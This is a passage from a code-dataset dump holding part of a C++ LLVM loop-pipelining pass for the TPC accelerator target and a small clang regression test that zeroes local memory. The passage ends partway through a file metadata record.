.addReg(TPC::SP0)\n .addImm(0);\n }\n ExecThreads[i].VRegMap[LoopCounter] = v_reg;\n }\n\n // Unroll and make execution threads independent\n for (MachineBasicBlock* MBB : CurLoop->getBlocks()) {\n for (MachineBasicBlock::instr_iterator I = MBB->instr_begin();\n I != MBB->instr_end(); ++I) {\n MachineInstr* CurMI = &(*I);\n\n // Fix Phis later\n if (CurMI->isPHI()) {\n DelayedPhis.push_back(CurMI);\n continue;\n }\n\n if(std::find(ExecThreads[0].ThreadInstrs.begin(), ExecThreads[0].ThreadInstrs.end(), CurMI) == ExecThreads[0].ThreadInstrs.end()) {\n continue;\n }\n\n // Don't clone loops\n if (CurMI->isBranch()) continue;\n\n for (unsigned i = 1; i < UnrollCount; ++i) {\n MachineInstr* MI = MBB->getParent()->CloneMachineInstr(&(*I));\n if (LinearIVs.count(&(*I)) > 0) {\n LinearIVs[MI] = LinearIVs[&(*I)];\n }\n ExecThreads[i].ThreadInstrs.push_back(MI);\n replaceVregs(MI, i);\n\n MachineBasicBlock::instr_iterator CorrectPos = I;\n // Insert instructions in iteration order. This should be\n // meaningless since all iterations are independent,\n // but we have artificial tests that depend on it.\n for (unsigned j = 0; j < i; ++j, ++CorrectPos);\n\n MBB->insert(CorrectPos, MI);\n }\n }\n }\n\n MachineInstr* LastInstr = nullptr;\n if (Prolog->size() == 1) {\n LastInstr = &(*(--Prolog->end()));\n } else {\n LastInstr = &(*(--(--Prolog->end())));\n }\n\n // Now clone and patch phi-nodes\n sortDelayedPhis();\n\n for (MachineInstr* CurMI : DelayedPhis) {\n assert(CurMI->isPHI() && \"Non-phi instruction is in the phi list\");\n patchPhiStartValue(CurMI, UnrollCount, CurMI->getParent(), MachineBasicBlock::instr_iterator(CurMI));\n }\n\n\n PrologInserter = MachineBasicBlock::iterator(LastInstr);\n\n // Merge all accumulator values\n MachineBasicBlock* OldExit = CurLoop->getExitBlock();\n assert(OldExit && \"This loop is a hardware loop, it should have only one exit\");\n assert(LoopInst->getOperand(4).getMBB() == OldExit && \"Loop doesn't end with ExitBlock\");\n\n // We need to merge accumulators just outside the loop.\n // But ExitBlock may contain Phi-nodes depending on accumulated values.\n // So we create another block, insert it before ExitBlock and make\n // it the new exit for the loop\n MachineFunction* MF = OldExit->getParent();\n MachineBasicBlock* Accum = MF->CreateMachineBasicBlock();\n MF->insert(OldExit->getIterator(), Accum);\n assert(LoopInst->getOperand(4).isMBB() && \"Incorrect loop instruction\");\n LoopInst->getOperand(4).setMBB(Accum);\n Accum->addSuccessor(OldExit, BranchProbability::getOne());\n Latch->removeSuccessor(OldExit);\n Latch->addSuccessor(Accum);\n\n // Fix Phi-nodes for the former exit block\n for (MachineInstr& MI : OldExit->instrs()) {\n if (MI.isPHI()) {\n for (MachineOperand& MO : MI.uses()) {\n if (MO.isMBB() && MO.getMBB() == Latch) {\n MO.setMBB(Accum);\n }\n }\n }\n }\n\n // For every entry in AccumulateMap we need to build a chain of ADDs\n // from the last thread to the first. The result of a the merge\n // should be the def of the first accumulator in the chain.\n // All occurences of this def inside the loop should be patched to preserve ssa.\n RegMap ForceSsa;\n MachineBasicBlock::iterator AccumInsertPos = Accum->end();\n\n for (AccumChains::iterator It = AccumulateMap.begin(); It != AccumulateMap.end(); ++It) {\n unsigned ResReg = It->first;\n std::vector<unsigned> Chain = It->second;\n unsigned AddOpc;\n const TargetRegisterClass* RC = MRI->getRegClass(ResReg);\n MachineInstr* MI = MRI->getVRegDef(ResReg);\n TPCII::OpType Type = getOpType(*MI);\n AddOpc = getAddOpc(Type, RC);\n\n unsigned ChainTerm = Chain.back();\n if (TPC::ARFRegClass.hasSubClassEq(RC)) {\n for (int i = Chain.size() - 2; i >= 0; --i) {\n unsigned TmpVreg = MRI->createVirtualRegister(MRI->getRegClass(ResReg));\n addQuadroRegs(Accum, TmpVreg, ChainTerm, Chain[i], AddOpc, Type, &TPC::VRFRegClass);\n ChainTerm = TmpVreg;\n }\n unsigned TmpVreg = MRI->createVirtualRegister(MRI->getRegClass(ResReg));\n addQuadroRegs(Accum, ResReg, ChainTerm, TmpVreg, AddOpc, Type, &TPC::VRFRegClass);\n ForceSsa[ResReg] = TmpVreg;\n } else if (TPC::DRFRegClass.hasSubClassEq(RC)) {\n for (int i = Chain.size() - 2; i >= 0; --i) {\n unsigned TmpVreg = MRI->createVirtualRegister(MRI->getRegClass(ResReg));\n addDoubleRegs(Accum, TmpVreg, ChainTerm, Chain[i], AddOpc, Type, &TPC::VRFRegClass);\n ChainTerm = TmpVreg;\n }\n unsigned TmpVreg = MRI->createVirtualRegister(MRI->getRegClass(ResReg));\n addDoubleRegs(Accum, ResReg, ChainTerm, TmpVreg, AddOpc, Type, &TPC::VRFRegClass);\n ForceSsa[ResReg] = TmpVreg;\n } else if (TPC::ZRFRegClass.hasSubClassEq(RC)) {\n for (int i = Chain.size() - 2; i >= 0; --i) {\n unsigned TmpVreg = MRI->createVirtualRegister(MRI->getRegClass(ResReg));\n addDoubleRegs(Accum, TmpVreg, ChainTerm, Chain[i], AddOpc, Type, &TPC::SRFRegClass);\n ChainTerm = TmpVreg;\n }\n unsigned TmpVreg = MRI->createVirtualRegister(MRI->getRegClass(ResReg));\n addDoubleRegs(Accum, ResReg, ChainTerm, TmpVreg, AddOpc, Type, &TPC::SRFRegClass);\n ForceSsa[ResReg] = TmpVreg;\n } else {\n for (int i = Chain.size() - 2; i >= 0; --i) {\n unsigned TmpVreg = MRI->createVirtualRegister(MRI->getRegClass(ResReg));\n BuildMI(*Accum, AccumInsertPos, DebugLoc(), TII->get(AddOpc), TmpVreg)\n .addReg(ChainTerm)\n .addReg(Chain[i])\n .addImm(Type)\n .addImm(0)\n .addReg(PrevReg, RegState::Undef)\n .addReg(TPC::SP0)\n .addImm(0);\n ChainTerm = TmpVreg;\n }\n\n unsigned TmpVreg = MRI->createVirtualRegister(MRI->getRegClass(ResReg));\n BuildMI(*Accum, AccumInsertPos, DebugLoc(), TII->get(AddOpc), ResReg)\n .addReg(ChainTerm)\n .addReg(TmpVreg)\n .addImm(Type)\n .addImm(0)\n .addReg(PrevReg, RegState::Undef)\n .addReg(TPC::SP0)\n .addImm(0);\n ForceSsa[ResReg] = TmpVreg;\n }\n }\n\n // To preserve SSA replace original accumulator values with a new reg inside this loop\n for (MachineBasicBlock* MBB : CurLoop->getBlocks()) {\n for (MachineInstr& MI : MBB->instrs()) {\n for (MachineOperand& MO : MI.operands()) {\n if (MO.isReg()) {\n for (RegMap::iterator It = ForceSsa.begin();\n It != ForceSsa.end(); ++It) {\n if (MO.getReg() == It->first) {\n MO.setReg(It->second);\n }\n }\n }\n }\n }\n }\n\n for (unsigned i = 0; i < UnrollCount; ++i) {\n LLVM_DEBUG(dbgs() << \"\\n******** Thread \" << i << \" *********\\n\");\n\n LLVM_DEBUG(dbgs() << \"\\nPhis\\n\");\n for (unsigned j = 0; j < ExecThreads[i].Phis.size();++j) {\n LLVM_DEBUG(ExecThreads[i].Phis[j]->dump());\n }\n for (unsigned j = 0; j < ExecThreads[i].Dphi.size();++j) {\n LLVM_DEBUG(ExecThreads[i].Dphi[j]->dump());\n }\n\n LLVM_DEBUG(dbgs() << \"\\nLoop body\\n\");\n for (unsigned j = 0; j < ExecThreads[i].ThreadInstrs.size();++j) {\n LLVM_DEBUG(ExecThreads[i].ThreadInstrs[j]->dump());\n }\n }\n LLVM_DEBUG(dbgs() << \"\\n\");\n\n // TODO: proper alignment strategy\n std::vector<unsigned> Shifts;\n for (unsigned i = 0; i < UnrollCount; ++i) {\n Shifts.push_back(std::min(ExecThreads[i].ThreadInstrs.size() - 1, (size_t)UnrollCount - i));\n }\n\n //MF->dump();\n bool Aligned = DoPipelining ? align(Shifts) : false;\n\n if (!DoPipelining) {\n setPrologInserter();\n correctCounters(UnrollCount);\n correctIVs(UnrollCount);\n correctExit();\n }\n\n // Change the increment value of the loop\n if (LoopInst->getOperand(2).isImm()) {\n LoopInst->getOperand(2).setImm(LoopInst->getOperand(2).getImm()*UnrollCount);\n\n if (LoopInst->getOperand(2).getImm() > 0 && LoopInst->getOperand(3).getImm() == 5) {\n LoopInst->getOperand(3).setImm(2);\n }\n } else {\n llvm_unreachable(\"\");\n }\n \n if (Aligned) {\n PrologInserter = --Prolog->end();\n modifyBoundary(UnrollCount);\n }\n\n for (unsigned i = 0; i < UnrollCount; ++i) {\n LLVM_DEBUG(dbgs() << \"\\n******** Thread \" << i << \" *********\\n\");\n\n LLVM_DEBUG(dbgs() << \"\\nPrologue\\n\");\n for (unsigned j = 0; j < ExecThreads[i].Dprolog.size();++j) {\n LLVM_DEBUG(ExecThreads[i].Dprolog[j]->dump());\n }\n\n LLVM_DEBUG(dbgs() << \"\\nPhis\\n\");\n for (unsigned j = 0; j < ExecThreads[i].Phis.size();++j) {\n LLVM_DEBUG(ExecThreads[i].Phis[j]->dump());\n }\n for (unsigned j = 0; j < ExecThreads[i].Dphi.size();++j) {\n LLVM_DEBUG(ExecThreads[i].Dphi[j]->dump());\n }\n\n LLVM_DEBUG(dbgs() << \"\\nLoop body\\n\");\n for (unsigned j = 0; j < ExecThreads[i].Dloop.size();++j) {\n LLVM_DEBUG(ExecThreads[i].Dloop[j]->dump());\n }\n for (unsigned j = 0; j < ExecThreads[i].Dshift.size();++j) {\n LLVM_DEBUG(ExecThreads[i].Dshift[j]->dump());\n }\n\n LLVM_DEBUG(dbgs() << \"\\nEpilogue\\n\");\n for (unsigned j = 0; j < ExecThreads[i].Epilog.size();++j) {\n LLVM_DEBUG(ExecThreads[i].Epilog[j]->dump());\n }\n }\n LLVM_DEBUG(dbgs() << \"\\n\");\n\n return true;\n}\n\nvoid TPCPipeliner::calcLoopForm() {\n int CmpMode = LoopInst->getOperand(3).getImm();\n if (CmpMode == TPCII::LoopLE || CmpMode == TPCII::LoopGE || CmpMode == TPCII::LoopEQ) {\n Inclusive = true;\n } else {\n Inclusive = false;\n }\n\n if (LoopInst->getOperand(2).isImm()) {\n Ascending = (LoopInst->getOperand(2).getImm() > 0);\n return;\n }\n\n if (LoopInst->getOperand(0).isImm() && LoopInst->getOperand(1).isImm()) {\n Ascending = (LoopInst->getOperand(0).getImm() < LoopInst->getOperand(1).getImm());\n return;\n }\n\n // TODO: Can't say, should prohibit pipelining\n}\n\nvoid TPCPipeliner::modifyBoundary(unsigned Decrement) {\n if (LoopInst->getOperand(1).isImm()) {\n if (LoopInst->getOperand(2).isImm()) {\n int Step = LoopInst->getOperand(2).getImm();\n if (Step > 0) {\n LoopInst->getOperand(1).setImm(LoopInst->getOperand(1).getImm() - Decrement);\n } else {\n LoopInst->getOperand(1).setImm(LoopInst->getOperand(1).getImm() + Decrement);\n }\n } else {\n int CmpMode = LoopInst->getOperand(3).getImm();\n if (CmpMode == TPCII::LoopLE || CmpMode == TPCII::LoopLT) {\n LoopInst->getOperand(1).setImm(LoopInst->getOperand(1).getImm() - Decrement);\n } else if (CmpMode == TPCII::LoopGE || CmpMode == TPCII::LoopGT) {\n LoopInst->getOperand(1).setImm(LoopInst->getOperand(1).getImm() + Decrement);\n } else {\n // Can't infer ascending or descending nature of the loop. Have to create\n // a runtime check.\n // TODO: SSA + predicated execution is tricky\n llvm_unreachable(\"\");\n }\n }\n } else {\n unsigned NewBoundary = MRI->createVirtualRegister(MRI->getRegClass(LoopInst->getOperand(1).getReg()));\n if (LoopInst->getOperand(2).isImm()) {\n int Step = LoopInst->getOperand(2).getImm();\n if (Step > 0) {\n unsigned LoopCounter = LoopInst->getOperand(1).getReg();\n BuildMI(*Prolog, PrologInserter, DebugLoc(), TII->get(TPC::SUBsip), NewBoundary)\n .addReg(LoopCounter)\n .addImm(Decrement)\n .addImm(TPCII::OpType::INT32)\n .addImm(0) // Switch\n .addReg(LoopCounter, RegState::Undef)\n .addReg(TPC::SP0)\n .addImm(0);\n LoopInst->getOperand(1).setReg(NewBoundary);\n } else {\n unsigned LoopReg = LoopInst->getOperand(1).getReg();\n BuildMI(*Prolog, PrologInserter, DebugLoc(), TII->get(TPC::ADDsip), NewBoundary)\n .addReg(LoopReg)\n .addImm(Decrement)\n .addImm(TPCII::OpType::INT32)\n .addImm(0)\n .addReg(LoopReg, RegState::Undef)\n .addReg(TPC::SP0)\n .addImm(0);\n LoopInst->getOperand(1).setReg(NewBoundary);\n }\n } else {\n int CmpMode = LoopInst->getOperand(3).getImm();\n if (CmpMode == TPCII::LoopLE || CmpMode == TPCII::LoopLT) {\n unsigned LoopCounter = LoopInst->getOperand(1).getReg();\n BuildMI(*Prolog, PrologInserter, DebugLoc(), TII->get(TPC::SUBsip), NewBoundary)\n .addReg(LoopCounter)\n .addImm(Decrement)\n .addImm(TPCII::OpType::INT32)\n .addImm(0)\n .addReg(LoopCounter, RegState::Undef)\n .addReg(TPC::SP0)\n .addImm(0);\n LoopInst->getOperand(1).setReg(NewBoundary);\n } else if (CmpMode == TPCII::LoopGE || CmpMode == TPCII::LoopGT) {\n unsigned LoopReg = LoopInst->getOperand(1).getReg();\n BuildMI(*Prolog, PrologInserter, DebugLoc(), TII->get(TPC::ADDsip), NewBoundary)\n .addReg(LoopReg)\n .addImm(Decrement)\n .addImm(TPCII::OpType::INT32)\n .addImm(0)\n .addReg(LoopReg, RegState::Undef)\n .addReg(TPC::SP0)\n .addImm(0);\n LoopInst->getOperand(1).setReg(NewBoundary);\n } else {\n // Can't infer ascending or descending nature of the loop. Have to create\n // a runtime check.\n llvm_unreachable(\"\");\n }\n }\n }\n}\n\nvoid TPCPipeliner::replaceWithZero(MachineOperand& ReplaceMO, TPCII::OpType ot) {\n MachineBasicBlock::iterator ZeroInsertPos = Prolog->begin();\n while(ZeroInsertPos != Prolog->end() && (*ZeroInsertPos).isPHI()) ++ZeroInsertPos;\n if (ReplaceMO.isFPImm() || ReplaceMO.isImm()) {\n // Even if the immediate is a floating point number, MOV uses integer bit\n // representation.\n ReplaceMO.setImm(0);\n } else if (ReplaceMO.isReg()) {\n const auto AddMovZero = [&](unsigned Opcode, unsigned Reg) {\n BuildMI(*Prolog, ZeroInsertPos++, DebugLoc(), TII->get(Opcode), Reg)\n .addImm(0)\n .addImm(ot)\n .addImm(0)\n .addReg(Reg, RegState::Undef)\n .addReg(TPC::SP0)\n .addImm(0);\n };\n\n unsigned zero_reg = MRI->createVirtualRegister(MRI->getRegClass(ReplaceMO.getReg()));\n const TargetRegisterClass *RC = MRI->getRegClass(ReplaceMO.getReg());\n if (TPC::SRFRegClass.hasSubClassEq(RC)) {\n AddMovZero(TPC::MOVsip, zero_reg);\n } else if (TPC::VRFRegClass.hasSubClassEq(RC)) {\n AddMovZero(TPC::MOVvip, zero_reg);\n } else if (TPC::DRFRegClass.hasSubClassEq(RC)) {\n unsigned zero_sub0 = MRI->createVirtualRegister(&TPC::VRFRegClass);\n unsigned zero_sub1 = MRI->createVirtualRegister(&TPC::VRFRegClass);\n AddMovZero(TPC::MOVvip, zero_sub0);\n AddMovZero(TPC::MOVvip, zero_sub1);\n BuildMI(*Prolog, ZeroInsertPos++,DebugLoc(),\n TII->get(TargetOpcode::REG_SEQUENCE), zero_reg)\n .addReg(zero_sub0).addImm(TPC::sub_0)\n .addReg(zero_sub1).addImm(TPC::sub_1);\n } else if (TPC::ARFRegClass.hasSubClassEq(RC)) {\n unsigned zero_sub0 = MRI->createVirtualRegister(&TPC::VRFRegClass);\n unsigned zero_sub1 = MRI->createVirtualRegister(&TPC::VRFRegClass);\n unsigned zero_sub2 = MRI->createVirtualRegister(&TPC::VRFRegClass);\n unsigned zero_sub3 = MRI->createVirtualRegister(&TPC::VRFRegClass);\n AddMovZero(TPC::MOVvip, zero_sub0);\n AddMovZero(TPC::MOVvip, zero_sub1);\n AddMovZero(TPC::MOVvip, zero_sub2);\n AddMovZero(TPC::MOVvip, zero_sub3);\n BuildMI(*Prolog, ZeroInsertPos++,DebugLoc(),\n TII->get(TargetOpcode::REG_SEQUENCE), zero_reg)\n .addReg(zero_sub0).addImm(TPC::sub_0)\n .addReg(zero_sub1).addImm(TPC::sub_1)\n .addReg(zero_sub2).addImm(TPC::sub_2)\n .addReg(zero_sub3).addImm(TPC::sub_3);\n\n } else {\n llvm_unreachable(\"Unsupported reg type in MAC phi-node\");\n }\n\n ReplaceMO.setReg(zero_reg);\n } else {\n llvm_unreachable(\"Trying to replace wrong operand\");\n }\n}\n\n// Some cloned phi-nodes must start with the same values (for accumulators)\n// the others must adjust out-of-loop uses and create instructions in the preheader\nvoid TPCPipeliner::patchPhiStartValue(MachineInstr* Phi, int UnrollCount,\n MachineBasicBlock* MBB,\n MachineBasicBlock::instr_iterator I) {\n std::vector<MachineInstr*> Path;\n unsigned PhiDef = Phi->getOperand(0).getReg();\n\n int OutOfLoopUse = -1;\n int LoopUse = -1;\n\n int counter = 0;\n for (MachineOperand& MO : Phi->uses()) {\n if (MO.isMBB() && MO.getMBB() == Prolog) {\n OutOfLoopUse = counter;\n }\n if (MO.isMBB() && MO.getMBB() == Latch) {\n LoopUse = counter;\n }\n ++counter;\n }\n\n phiPath(Phi, Path, Phi->getOperand(OutOfLoopUse));\n std::reverse(Path.begin(), Path.end());\n\n // TODO: what if not a reg\n unsigned FinalReg = Phi->getOperand(OutOfLoopUse).getReg();\n unsigned FirstReg = FinalReg;\n\n std::vector<unsigned> UseVec;\n std::vector<unsigned> DefVec;\n\n for (int i = 1; i < UnrollCount; ++i) {\n MachineInstr* ClonedPhi = MBB->getParent()->CloneMachineInstr(&(*I));\n ExecThreads[i].Phis.push_back(ClonedPhi);\n replaceVregs(ClonedPhi, i);\n MBB->insert(I, ClonedPhi);\n RegMap RM;\n\n if (!Path.empty() && TPCII::isMac(Path.back()->getDesc())) {\n MachineOperand& ReplaceMO = ClonedPhi->getOperand(OutOfLoopUse);\n replaceWithZero(ReplaceMO, getOpType(*Path.back()));\n continue;\n }\n\n RM[PhiDef] = FinalReg;\n\n for (MachineInstr* MI : Path) {\n MachineInstr* Copy = Prolog->getParent()->CloneMachineInstr(MI);\n\n for (MachineOperand& MO : Copy->defs()) {\n unsigned v_reg = MRI->createVirtualRegister(MRI->getRegClass(MO.getReg()));\n RM[MO.getReg()] = v_reg;\n MO.setReg(v_reg);\n // Last instruction in the path is guaranteed to be the one that generates phi use\n FinalReg = v_reg;\n }\n\n for (MachineOperand& MO : Copy->uses()) {\n if (!MO.isReg()) continue;\n if (RM.count(MO.getReg()) > 0) {\n MO.setReg(RM[MO.getReg()]);\n }\n if (AdjustedPhis.count(MO.getReg()) > 0) {\n MO.setReg(AdjustedPhis[MO.getReg()][i - 1]);\n }\n if (MO.getReg() == LoopCounter) {\n ExecThreads[i].CounterInstrs.push_back(Copy);\n }\n // Parallel threads shouldn't be tied to the same vreg\n if (Phi->getOperand(OutOfLoopUse).isReg()) {\n unsigned phi_reg = Phi->getOperand(OutOfLoopUse).getReg();\n if (MO.getReg() == phi_reg && MO.isTied()) {\n unsigned copy_reg = MRI->createVirtualRegister(MRI->getRegClass(MO.getReg()));\n BuildMI(*Prolog, --Prolog->end()/*PrologInserter*/, DebugLoc(), TII->get(TargetOpcode::COPY), copy_reg)\n .addReg(phi_reg);\n MO.setReg(copy_reg);\n }\n }\n }\n\n Prolog->insert(--Prolog->end(), Copy);\n LLVM_DEBUG(dbgs() << \"Adjust phi with \");\n LLVM_DEBUG(Copy->dump());\n }\n\n // Finally set phi_use of a cloned phi inst to the new value\n // TODO: what if not a reg\n ClonedPhi->getOperand(OutOfLoopUse).setReg(FinalReg);\n DefVec.push_back(FirstReg);\n UseVec.push_back(FinalReg);\n }\n AdjustedPhis[PhiDef] = DefVec;\n AdjustedPhis[LoopUse] = UseVec;\n}\n\n\n// Find all instructions that participate in a phi-node calculation inside a loop\nvoid TPCPipeliner::phiPath(MachineInstr* Phi, std::vector<MachineInstr*>& Path, MachineOperand& HeadPhiUse) {\n std::vector<MachineOperand*> OperandStack;\n OperandStack.push_back(&Phi->getOperand(1));\n OperandStack.push_back(&Phi->getOperand(3));\n\n while(!OperandStack.empty()) {\n MachineOperand* MO = OperandStack.back();\n OperandStack.pop_back();\n\n if (!MO->isReg()) continue;\n if (MO->getReg() == LoopCounter) continue;\n if (MO->getReg().isPhysical()) continue;\n MachineInstr* DefMI = MRI->getVRegDef(MO->getReg());\n if (!CurLoop->contains(DefMI)) continue;\n if (DefMI->isPHI()) continue;\n\n for (MachineOperand& IMO : DefMI->uses()) {\n if (IMO.isIdenticalTo(HeadPhiUse)) continue;\n if (IMO.isReg() && IMO.getReg() == Phi->getOperand(0).getReg()) continue;\n OperandStack.push_back(&IMO);\n }\n\n auto Pos = std::find(Path.begin(), Path.end(), DefMI);\n if (Pos != Path.end()) {\n Path.erase(Pos);\n }\n\n Path.push_back(DefMI);\n }\n}\n\n// TODO: full implementation of SSA loop search\nvoid TPCPipeliner::findLinearInduction(unsigned UnrollCount) {\n for (MachineBasicBlock* MBB : CurLoop->getBlocks()) {\n for (MachineBasicBlock::instr_iterator I = MBB->instr_begin();\n I != MBB->instr_end(); ++I) {\n MachineInstr* Phi = &(*I);\n\n if (!Phi->isPHI()) break;\n\n unsigned PhiDef = Phi->getOperand(0).getReg();\n\n int LoopUse = -1;\n\n int counter = 0;\n for (MachineOperand& MO : Phi->uses()) {\n if (MO.isMBB() && MO.getMBB() == Latch) {\n LoopUse = counter;\n }\n ++counter;\n }\n\n MachineInstr* DefMI = MRI->getVRegDef(Phi->getOperand(LoopUse).getReg());\n if (DefMI == nullptr) continue;\n for (MachineOperand& MO : DefMI->uses()) {\n if (MO.isReg() && MO.getReg() == PhiDef && TPCII::isAdd(DefMI->getDesc())) {\n //found a linear induction\n if (DefMI->getOperand(2).isImm()) {\n LinearIVs[DefMI] = 2;\n } else if (DefMI->getOperand(1).isImm()) {\n LinearIVs[DefMI] = 1;\n }\n }\n }\n }\n }\n}\n\n// Find a position for prolog counters. We need to insert them before\n// dependent cloned instructions but after actual instructions of the preheader\nvoid TPCPipeliner::setPrologInserter() {\n for (MachineBasicBlock::iterator it = Prolog->begin(); it != Prolog->end(); ++it) {\n MachineInstr* MI = &(*it);\n for (MachineOperand& MO : MI->uses()) {\n if (MO.isReg() && MO.getReg() == LoopCounter) {\n PrologInserter = it;\n return;\n }\n }\n }\n}\n\nstruct PhiDepTree {\n std::list<PhiDepTree*> succs;\n MachineInstr* Phi;\n int Preds;\n\n PhiDepTree() : Phi(nullptr), Preds(0) {}\n};\n\nstatic void DFS(PhiDepTree* Node, std::list<MachineInstr*>& SortedPhis) {\n for (PhiDepTree* Succ : Node->succs) {\n DFS(Succ, SortedPhis);\n }\n if (std::find(SortedPhis.begin(), SortedPhis.end(), Node->Phi) == SortedPhis.end()) {\n SortedPhis.push_back(Node->Phi);\n }\n}\n\nvoid TPCPipeliner::sortDelayedPhis() {\n std::list<MachineInstr*> SortedPhis;\n std::vector<PhiDepTree*> Tree;\n\n // Create all nodes\n for (MachineInstr* Phi : DelayedPhis) {\n PhiDepTree* Node = new PhiDepTree();\n Node->Phi = Phi;\n Tree.push_back(Node);\n }\n\n // Build dep graph\n // TODO: for now just implement naive algorythm. But it's too slow and should be rewritten\n for (unsigned i = 0; i < DelayedPhis.size(); ++i) {\n MachineInstr* Dependant = DelayedPhis[i];\n PhiDepTree* DependantNode = Tree[i];\n\n int OutOfLoopUse = -1;\n std::vector<MachineInstr*> Path;\n\n int counter = 0;\n for (MachineOperand& MO : Dependant->uses()) {\n if (MO.isMBB() && MO.getMBB() == Prolog) {\n OutOfLoopUse = counter;\n }\n ++counter;\n }\n\n phiPath(Dependant, Path, Dependant->getOperand(OutOfLoopUse));\n\n for (unsigned j = 0; j < DelayedPhis.size(); ++j) {\n MachineInstr* Phi = DelayedPhis[j];\n PhiDepTree* PhiNode = Tree[j];\n unsigned LoopReg = -1;\n\n if (Phi == Dependant) continue;\n\n int counter = 0;\n for (MachineOperand& MO : Phi->uses()) {\n if (MO.isMBB() && MO.getMBB() == Latch) {\n LoopReg = Phi->getOperand(counter).getReg();\n }\n ++counter;\n }\n\n // Find wether the dependant path uses the def of Phi\n for (MachineInstr* MI : Path) {\n for (MachineOperand& MO : MI->uses()) {\n if (MO.isReg() && (MO.getReg() == LoopReg || MO.getReg() == Phi->getOperand(0).getReg())) {\n PhiNode->succs.push_back(DependantNode);\n DependantNode->Preds++;\n break;\n }\n }\n }\n }\n }\n\n // Topological sort\n for (PhiDepTree* Node : Tree) {\n if (Node->Preds == 0) {\n DFS(Node, SortedPhis);\n }\n }\n\n SortedPhis.reverse();\n DelayedPhis = std::vector<MachineInstr*>(SortedPhis.begin(), SortedPhis.end());\n\n for (PhiDepTree* Node : Tree) {\n delete Node;\n }\n}\n\nbool TPCPipeliner::checkForProhibitingInstructions() {\n for (MachineBasicBlock* MBB : CurLoop->getBlocks()) {\n for (const MachineInstr& MI : MBB->instrs()) {\n if (MI.getOpcode() == TPC::ASO) {\n return true;\n }\n if (TPCInstrInfo::isMMIOAccess(MI)) {\n return true;\n }\n\n for (const MachineOperand& MO: MI.defs()) {\n assert(MO.isReg() && \"Def can't be a constant\");\n if (MO.getReg().isPhysical()) continue;\n const TargetRegisterClass *RC = MRI->getRegClass(MO.getReg());\n if (TPC::HWPCRegClass.hasSubClassEq(RC)) {\n return true;\n }\n }\n }\n }\n return false;\n}\n\nvoid TPCPipeliner::addQuadroRegs(MachineBasicBlock* Accum, unsigned Res, unsigned Op1, unsigned Op2,\n unsigned AddOpc, TPCII::OpType Type, const TargetRegisterClass* RC) {\n unsigned Res0 = MRI->createVirtualRegister(RC);\n unsigned Res1 = MRI->createVirtualRegister(RC);\n unsigned Res2 = MRI->createVirtualRegister(RC);\n unsigned Res3 = MRI->createVirtualRegister(RC);\n\n BuildMI(*Accum, Accum->end(), DebugLoc(), TII->get(AddOpc), Res0)\n .addReg(Op1, 0, TPC::sub_0)\n .addReg(Op2, 0, TPC::sub_0)\n .addImm(Type)\n .addImm(0)\n .addReg(Res0, RegState::Undef)\n .addReg(TPC::SP0)\n .addImm(0);\n BuildMI(*Accum, Accum->end(), DebugLoc(), TII->get(AddOpc), Res1)\n .addReg(Op1, 0, TPC::sub_1)\n .addReg(Op2, 0, TPC::sub_1)\n .addImm(Type)\n .addImm(0)\n .addReg(Res1, RegState::Undef)\n .addReg(TPC::SP0)\n .addImm(0);\n BuildMI(*Accum, Accum->end(), DebugLoc(), TII->get(AddOpc), Res2)\n .addReg(Op1, 0, TPC::sub_2)\n .addReg(Op2, 0, TPC::sub_2)\n .addImm(Type)\n .addImm(0)\n .addReg(Res2, RegState::Undef)\n .addReg(TPC::SP0)\n .addImm(0);\n BuildMI(*Accum, Accum->end(), DebugLoc(), TII->get(AddOpc), Res3)\n .addReg(Op1, 0, TPC::sub_3)\n .addReg(Op2, 0, TPC::sub_3)\n .addImm(Type)\n .addImm(0)\n .addReg(Res3, RegState::Undef)\n .addReg(TPC::SP0)\n .addImm(0);\n BuildMI(*Accum, Accum->end(), DebugLoc(), TII->get(TargetOpcode::REG_SEQUENCE), Res)\n .addReg(Res0)\n .addImm(TPC::sub_0)\n .addReg(Res1)\n .addImm(TPC::sub_1)\n .addReg(Res2)\n .addImm(TPC::sub_2)\n .addReg(Res3)\n .addImm(TPC::sub_3);\n}\n\nvoid TPCPipeliner::addDoubleRegs(MachineBasicBlock* Accum, unsigned Res, unsigned Op1, unsigned Op2,\n unsigned AddOpc, TPCII::OpType Type, const TargetRegisterClass* RC) {\n unsigned Res0 = MRI->createVirtualRegister(RC);\n unsigned Res1 = MRI->createVirtualRegister(RC);\n\n BuildMI(*Accum, Accum->end(), DebugLoc(), TII->get(AddOpc), Res0)\n .addReg(Op1, 0, TPC::sub_0)\n .addReg(Op2, 0, TPC::sub_0)\n .addImm(Type)\n .addImm(0)\n .addReg(Res0, RegState::Undef)\n .addReg(TPC::SP0)\n .addImm(0);\n BuildMI(*Accum, Accum->end(), DebugLoc(), TII->get(AddOpc), Res1)\n .addReg(Op1, 0, TPC::sub_1)\n .addReg(Op2, 0, TPC::sub_1)\n .addImm(Type)\n .addImm(0)\n .addReg(Res1, RegState::Undef)\n .addReg(TPC::SP0)\n .addImm(0);\n\n BuildMI(*Accum, Accum->end(), DebugLoc(), TII->get(TargetOpcode::REG_SEQUENCE), Res)\n .addReg(Res0)\n .addImm(TPC::sub_0)\n .addReg(Res1)\n .addImm(TPC::sub_1);\n}\n" }, { "alpha_fraction": 0.47031962871551514, "alphanum_fraction": 0.5479452013969421, "avg_line_length": 23.33333396911621, "blob_id": "86e16ac756fdf87ceef564b41b09aa545e0ce90f", "content_id": "a1014d776e0fa030d43235a3ab1d7ed439b36bdb", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 219, "license_type": "permissive", "max_line_length": 65, "num_lines": 9, "path": "/clang/test/RC99/regression/memset-02.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %clang_cc1 -S -triple tpc-none-none -std=rc99 -O2 %s -o -\n\n// GAUDI-742 / SW-3949\n\nvoid main(int dest, int sz) {\n int64 __local *dptr = (int64 __local *) dest;\n for (int i = 0; i < sz; ++i)\n dptr[i] = 0;\n}\n" }, { "alpha_fraction": 0.5840656161308289, "alphanum_fraction": 0.5867018103599548, "avg_line_length": 33.13999938964844, "blob_id": "35de4ed10e74ac9f1ba00d9b0f11e788e2d1d6ba", "content_id": "0c47f2b4c3e8a1ddc034c4aa6ba50f31627ab070", "detected_licenses": [ "NCSA", "LLVM-exception", "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 3414, "license_type": "permissive", "max_line_length": 95, "num_lines": 100, "path": 